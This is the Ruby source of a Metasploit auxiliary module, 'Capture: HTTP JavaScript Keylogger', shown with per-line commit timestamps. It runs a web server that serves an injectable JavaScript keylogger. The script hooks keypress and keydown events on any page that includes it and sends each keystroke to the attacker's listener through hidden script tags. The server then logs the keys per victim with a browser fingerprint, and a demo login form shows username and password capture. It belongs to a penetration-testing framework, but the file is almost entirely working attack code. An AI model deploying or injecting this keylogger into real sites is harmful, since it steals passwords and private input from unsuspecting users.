metasploit-framework/modules/auxiliary/server/capture/http_javascript_keylogger.rb

309 lines
8.2 KiB
Ruby
Raw Normal View History

2012-02-21 10:24:42 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com
2012-02-21 10:24:42 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Capture: HTTP JavaScript Keylogger',
'Description' => %q{
This modules runs a web server that demonstrates keystroke
logging through JavaScript. The DEMO option can be set to enable
a page that demonstrates this technique. Future improvements will
allow for a configurable template to be used with this module.
To use this module with an existing web page, simply add a
2012-02-21 10:24:42 +00:00
script source tag pointing to the URL of this service ending
in the .js extension. For example, if URIPATH is set to "test",
2012-03-18 05:07:27 +00:00
the following URL will load this script into the calling site:
http://server:port/test/anything.js
2012-02-21 10:24:42 +00:00
},
'License' => MSF_LICENSE,
2012-02-22 08:05:44 +00:00
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm']
2012-02-21 10:24:42 +00:00
))
register_options(
[
OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
], self.class)
end
# This is the module's main runtime method
def run
@seed = Rex::Text.rand_text_alpha(12)
@client_cache = {}
# Starts Web Server
2012-07-19 15:50:58 +00:00
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
2012-02-21 10:24:42 +00:00
exploit
end
# This handles the HTTP responses for the Web server
def on_request_uri(cli, request)
cid = nil
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
cid = $1
end
if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
cid = $1
end
2012-03-18 05:07:27 +00:00
data = request.qstring['data']
2012-02-21 10:24:42 +00:00
unless cid
cid = generate_client_id(cli,request)
2012-04-25 19:24:17 +00:00
print_status("Assigning client identifier '#{cid}'")
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
resp = create_response(302, 'Moved')
resp['Content-Type'] = 'text/html'
resp['Location'] = request.uri + '?id=' + cid
resp['Set-Cookie'] = "id=#{cid}"
cli.send_response(resp)
return
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
base_url = generate_base_url(cli, request)
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
# print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
case request.uri
when /\.js(\?|$)/
content_type = "text/plain"
send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
when /\/demo\/?(\?|$)/
if datastore['DEMO']
content_type = "text/html"
send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
else
2012-03-18 05:07:27 +00:00
send_not_found(cli)
2012-02-21 10:24:42 +00:00
end
else
if data
nice = process_data(cli, request, cid, data)
2012-03-18 05:07:27 +00:00
script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
2012-02-21 10:24:42 +00:00
send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
else
if datastore['DEMO']
send_redirect(cli, "/demo/?cid=#{cid}")
else
send_not_found(cli)
end
end
end
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
# Figure out what our base URL is based on the user submitted
# Host header or the address of the client.
def generate_base_url(cli, req)
port = nil
host = Rex::Socket.source_address(cli.peerhost)
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
if req['Host']
host = req['Host']
bits = host.split(':')
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
# Extract the hostname:port sequence from the Host header
if bits.length > 1 and bits.last.to_i > 0
port = bits.pop.to_i
host = bits.join(':')
end
else
port = datastore['SRVPORT'].to_i
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
prot = (!! datastore['SSL']) ? 'https://' : 'http://'
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
base = prot + host
if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
base << ":#{port}"
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
base << get_resource
end
def process_data(cli, request, cid, data)
lines = [""]
real = ""
Rex::Text.uri_decode(data).split(",").each do |char|
byte = char.to_s.hex.chr
next if byte == "\x00"
real << byte
case char.to_i
# Do Backspace
when 8
lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
when 13
lines << ""
else
lines[-1] << byte
end
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
nice = lines.join("<CR>").gsub("\t", "<TAB>")
real = real.gsub("\x08", "<DEL>")
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
if not @client_cache[cid]
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
fp = fingerprint_user_agent(request['User-Agent'] || "")
header = "Browser Keystroke Log\n"
header << "=====================\n"
header << "Created: #{Time.now.to_s}\n"
header << "Address: #{cli.peerhost}\n"
header << " ID: #{cid}\n"
header << " FPrint: #{fp.inspect}\n"
header << " URL: #{request.uri}\n"
header << "\n"
header << "====================\n\n"
@client_cache[cid] = {
:created => Time.now.to_i,
:path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
:path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
}
2012-04-25 19:24:17 +00:00
print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
2012-02-21 10:24:42 +00:00
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
2012-03-18 05:07:27 +00:00
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
2012-02-21 10:24:42 +00:00
if nice.length > 0
2012-04-25 19:24:17 +00:00
print_good("[#{cid}] Keys: #{nice}")
2012-02-21 10:24:42 +00:00
end
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
nice
end
def generate_client_id(cli, req)
"%.8x" % Kernel.rand(0x100000000)
end
def generate_demo(base_url, cid)
# This is the Demo Form Page <HTML>
html = <<EOS
<html>
<head>
<title>Demo Form</title>
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Keylogger Demo Form</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>
<br/>
<textarea cols="80" rows="5" id="results">
</textarea>
</div>
</body>
</html>
EOS
return html
end
# This is the JavaScript Key Logger Code
def generate_keylogger_js(base_url, cid)
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
targ = Rex::Text.rand_text_alpha(12)
2012-02-21 10:24:42 +00:00
code = <<EOS
var c#{@seed} = 0;
window.onload = function load#{@seed}(){
l#{@seed} = ",";
if (window.addEventListener) {
document.addEventListener('keypress', p#{@seed}, true);
2012-03-18 05:07:27 +00:00
document.addEventListener('keydown', d#{@seed}, true);
2012-02-21 10:24:42 +00:00
} else if (window.attachEvent) {
document.attachEvent('onkeypress', p#{@seed});
2012-03-18 05:07:27 +00:00
document.attachEvent('onkeydown', d#{@seed});
2012-02-21 10:24:42 +00:00
} else {
document.onkeypress = p#{@seed};
document.onkeydown = d#{@seed};
}
}
function p#{@seed}(e){
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
k#{@seed} = k#{@seed}.toString(16);
if (k#{@seed} != "d"){
#{@seed}(k#{@seed});
}
}
function d#{@seed}(e){
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
#{@seed}(k#{@seed});
}
}
function #{@seed}(k#{@seed}){
l#{@seed} = l#{@seed} + k#{@seed} + ",";
2012-02-21 10:24:42 +00:00
var t#{@seed} = "#{targ}" + c#{@seed};
c#{@seed}++;
2012-02-21 10:24:42 +00:00
var f#{@seed};
2012-02-21 10:24:42 +00:00
if (document.all)
f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
else {
f#{@seed} = document.createElement("script");
2012-03-18 05:07:27 +00:00
f#{@seed}.setAttribute("id", t#{@seed});
f#{@seed}.setAttribute("name", t#{@seed});
2012-02-21 10:24:42 +00:00
}
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
f#{@seed}.style.visibility = "hidden";
2012-03-18 05:07:27 +00:00
2012-02-21 10:24:42 +00:00
document.body.appendChild(f#{@seed});
if (k#{@seed} == 13 || l#{@seed}.length > 3000)
l#{@seed} = ",";
2012-03-18 05:07:27 +00:00
setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
2012-02-21 10:24:42 +00:00
}
EOS
return code
end
def generate_demo_js_reply(base_url, cid, data)
code = <<EOS
try {
document.getElementById("results").value = "Keystrokes: #{data}";
} catch(e) { }
EOS
return code
end
end